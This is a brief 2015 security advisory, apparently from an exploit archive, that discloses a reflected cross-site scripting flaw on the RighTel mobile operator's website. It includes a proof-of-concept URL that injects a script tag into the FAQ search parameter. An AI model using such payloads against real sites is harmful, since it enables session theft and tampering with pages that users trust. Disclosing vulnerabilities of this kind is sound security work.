================================================================================ Cross Site Scripting on The Rightel ================================================================================ # Site: http://www.rightel.ir/ # Date: 09/12/2015 # Author: Ehsan Hosseini # Contact: hehsan979@gmail.com # Source: http://ehsansec.ir/advisories/rightel-xss.txt ================================================================================ # Description: RighTel is the third largest mobile phone network operator of Iran . RighTel is the first 3G mobile operator in Iran, providing 3.75G mobile telecommunication services to individuals and businesses. Established by the Social Security Organization??s body of investing, RighTel was made public in late 2011, and started its expansion and launching of services in 2012. RighTel has covered all province centers and many large cities, exceeding the milestones set by the Communications Regulatory Authority of Iran. # PoC : # Site: http://www.rightel.ir/ # File: /faq?p_p_id=faqdisplay_WAR_rightelfaqportlet&q= # XSS: http://www.rightel.ir/faq?p_p_id=faqdisplay_WAR_rightelfaqportlet&q="><script>alert('Ehsan')</script> ================================================================================ # Discovered By : Ehsan Hosseini # WebSite : EhsanSec.ir # Tnx To 4TT4CK3R